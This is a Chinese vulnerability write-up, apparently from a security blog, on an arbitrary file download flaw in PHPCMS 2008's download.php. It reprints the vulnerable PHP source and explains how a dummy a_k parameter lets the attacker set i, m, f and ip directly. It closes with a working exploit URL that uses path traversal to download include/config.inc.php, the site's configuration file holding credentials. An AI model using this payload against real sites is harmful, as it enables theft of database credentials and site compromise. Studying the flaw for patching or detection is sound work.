phpcms 2008 任意下载漏洞

2009, October 20, 1:36 PM. 漏洞集研
Submitted by admin

来源:影子鹰

漏洞文件download.php


       <?php
require dirname(__FILE__).'/include/common.inc.php';

$a_k = phpcms_auth($a_k, 'DECODE', AUTH_KEY);                                 //注意!!
if(empty($a_k)) showmessage($LANG['illegal_parameters']);
parse_str($a_k);

if(isset($i)) $downid = intval($i);
if(!isset($m)) showmessage($LANG['illegal_parameters']);
if(empty($f)) showmessage('地址失效');
if(!$i || $m<0) showmessage($LANG['illegal_parameters']);
if(!isset($t)) showmessage($LANG['illegal_parameters']);
if(!isset($ip)) showmessage($LANG['illegal_parameters']);
$starttime = intval($t);

$fileurl = trim($f);
if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != IP) showmessage($LANG['illegal_parameters']);

$endtime = TIME - $starttime;
if($endtime > 3600) showmessage('地址失效');
if($m) $fileurl = trim($s).trim($fileurl);

if(strpos($fileurl, '://'))//远程文件
{
        header("Location: $fileurl");
}
else//本地文件
{
        if($d == 0)
        {
                header("Location: ".SITE_URL.$fileurl);
        }
        else
        {
                $fileurl = file_exists($fileurl) ? stripslashes($fileurl) : PHPCMS_ROOT.$fileurl;//此处可能为物理路径
                $filename = basename($fileurl);
                if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl))//处理中文文件
                {
                        $filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
                        $filename = urldecode(basename($filename));
                }
                file_down($fileurl, $filename);
        }
}
?>

function file_down($filepath, $filename = '')
{
        if(!$filename) $filename = basename($filepath);
        if(is_ie()) $filename = rawurlencode($filename);         $filetype = fileext($filename);
        $filesize = sprintf("%u", filesize($filepath));
        if(ob_get_length() !== false) @ob_end_clean();
        header('Pragma: public');
        header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');
        header('Cache-Control: no-store, no-cache, must-revalidate');
        header('Cache-Control: pre-check=0, post-check=0, max-age=0');
        header('Content-Transfer-Encoding: binary');
        header('Content-Encoding: none');
        header('Content-type: '.$filetype);
        header('Content-Disposition: attachment; filename="'.$filename.'"');
        header('Content-length: '.$filesize);
        readfile($filepath);
        exit;


     其实$i,$m,$f,$ip等都是地址栏的参数没有过滤(在down.php中可以看到)由parse_str($a_k)解释后得到的,又由于$a_k是经phpcms_auth($a_k, 'DECODE', AUTH_KEY)解密后才能得到参数,但我本地测试构造$a_k变量的加密值不成功就换了个方法,把$a_k构造成不存在的参数然后下面的$i,$m,$f,$ip我就直接从地址栏中添加!测试如下:

h t t p://www.xxxx.cn/download.php?a_k=Jh5zIw==&i=20&m=2&f=../include/config.inc.php&t=2233577313&ip=119.123.178.19&s=m/&d=1

Tags: phpcms

« 上一篇 | 下一篇 »

只显示10条记录相关文章
phpcms V9 BLind SQL Injection Vulnerability (浏览: 14861, 评论: 0)
Phpcms 2008 flash_upload.php文件注入漏洞 (浏览: 15819, 评论: 0)
Phpcms 2008 query.php SQL注入漏洞 (浏览: 9091, 评论: 0)
Phpcms 2008 space.api.php SQL注入漏洞 (浏览: 7786, 评论: 0)
很老的一个PHPCMS2008 SP2 0day (浏览: 9875, 评论: 0)
Phpcms2008本地文件包含漏洞及利用:任意SQL语句执行 (浏览: 10728, 评论: 0)
phpcms 0day一枚 (浏览: 13790, 评论: 0)
phpcms2008 sp3通杀0day (浏览: 8384, 评论: 0)
phpcms2008sp4 最新sql注入 (浏览: 9652, 评论: 0)
phpcms2008sp4 IIS下下载任意文件漏洞 (浏览: 10968, 评论: 0)
Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):